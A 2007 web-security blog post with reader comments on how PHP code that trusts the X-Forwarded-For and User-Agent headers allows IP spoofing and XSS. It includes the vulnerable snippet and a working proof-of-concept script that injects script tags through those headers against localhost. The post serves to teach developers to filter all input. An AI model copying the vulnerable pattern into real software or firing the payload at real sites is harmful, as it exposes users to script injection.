Faking the unexpected

Developers place too much trust in everything, they assume that certain data cannot be faked and therefore these pieces of data can be used as a Trojan horse. Lets take the REMOTE IP of a user, it seems a trusted source because of the TCP/IP connection between the user and the server but take the following example:-

<?php
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
	$userip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
	$userip = $_SERVER['REMOTE_ADDR'];
}
?>

Suddenly a piece of assumed “safe” data is placed in the variable. HTTP_X_FORWARDED_FOR is user input, instead of combining both they should be treated separately and HTTP_X_FORWARDED_FOR should never be used as a means to validate the user’s IP. But it gets worse…what if a developer outputs this data? We now have another problem, the attacker can not only fake their IP but the “safe” data becomes a XSS injection point. The following proof of concept highlights this issue:-

<?php
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
	$userip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
	$userip = $_SERVER['REMOTE_ADDR'];
} 
echo "ip:" . $userip . "<br>";
echo "user agent:" . $_SERVER['HTTP_USER_AGENT'] . "<br>";
?>

The attacker then supplies the following information:-

<?php
$fp = fsockopen("127.0.0.1", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET /ip.php HTTP/1.1\r\n";
    $out .= "Host: 127.0.0.1\r\n";
    $out .= "X-Forwarded-For: <script>alert(/Faking the unexpected/)";
    $out .= "</script>\r\n";	
    $out .= "User-Agent: <script>alert(/Faking the unexpected/)";
    $out .= "</script>\r\n";
    $out .= "Connection: Close\r\n\r\n";
 
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

Which results in XSS on the domain. So my question is, do you have a sick feeling in your stomach now? Or have you got a smug feeling that you ALWAYS filter user-agent, X-Forwarded-For and any other user supplied data?

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • del.icio.us
  • Slashdot
  • StumbleUpon

Comments 10

  1. kourge wrote:

    Clever! This can almost certainly attack sites that display the user’s user agent such…

    Posted 02 Dec 2007 at 3:58 pm
  2. Awesome AnDrEw wrote:

    I choose the latter option, and sanitize all user-input and headers.

    Posted 02 Dec 2007 at 4:08 pm
  3. Andrew MacFie wrote:

    I think accepting ‘HTTP_X_FORWARDED_FOR’ or ‘REMOTE_ADDR’ values as ultimately correct identifiers for end users is clearly a different problem than failing to perform output validation on user-supplied data. ‘HTTP_X_FORWARDED_FOR’ and other HTTP headers are of course trivial to spoof, and there is irony in the perceived extra level of security that checking for proxied users appears to provide. If this information is really required, the developer might want to have a look at some Metasploit Project research (hxxp://metasploit.com/research/misc/decloak/).

    Outputting unfiltered user input is always bad, as shown, but trusting HTTP headers as always legitimate values is far too tempting and a more commonly overlooked source of vulnerability than, say, query strings.

    Posted 02 Dec 2007 at 6:20 pm
  4. Skip Chris wrote:

    In my limited ‘developer’ way, rather than as a webappsec professional, this is one of those things I see all the time, the key culprit being _SERVER['PHP_SELF']… :S

    Another common one (though a bit more obvious and less related to this post) is something along the lines of:
    http://www.example.org/controller/action
    —>
    <form action=”<? echo $action; ?>”>

    Posted 02 Dec 2007 at 7:45 pm
  5. Gareth Heyes wrote:

    @Awesome AnDrEw

    You must be feeling smug right now :)

    I wonder how many feel sick :)

    Posted 02 Dec 2007 at 7:58 pm
  6. Jack wrote:

    Hello,

    This article is very good, but gives no viable alternative. Why ?

    Jack

    Posted 03 Dec 2007 at 8:47 am
  7. Gareth Heyes wrote:

    @Jack

    You need to filter all user supplied data including User-agent etc and I have mentioned many times before how to do this. The article was to highlight the amount of times I’ve seen PHP code with just $userip = $_SERVER['HTTP_X_FORWARDED_FOR']; and blindly trusting it.

    Posted 03 Dec 2007 at 9:06 am
  8. zhaiduo wrote:

    yep, you are right!

    Posted 05 Dec 2007 at 5:44 am
  9. Handy wrote:

    Nice example. Stefan Esser describes this problem very good in his book about PHP security. By the way, he is the guy, who worked in the PHP Security Response Team.

    Posted 10 Apr 2008 at 11:31 pm
  10. Gareth Heyes wrote:

    Yeah Stefan rocks :)
    He has a book? Is it in English? I’d be interested if you could provide a link.

    Posted 11 Apr 2008 at 10:18 am

Post a Comment

Your email is never published nor shared. Required fields are marked *

Comment spam protected by SpamBam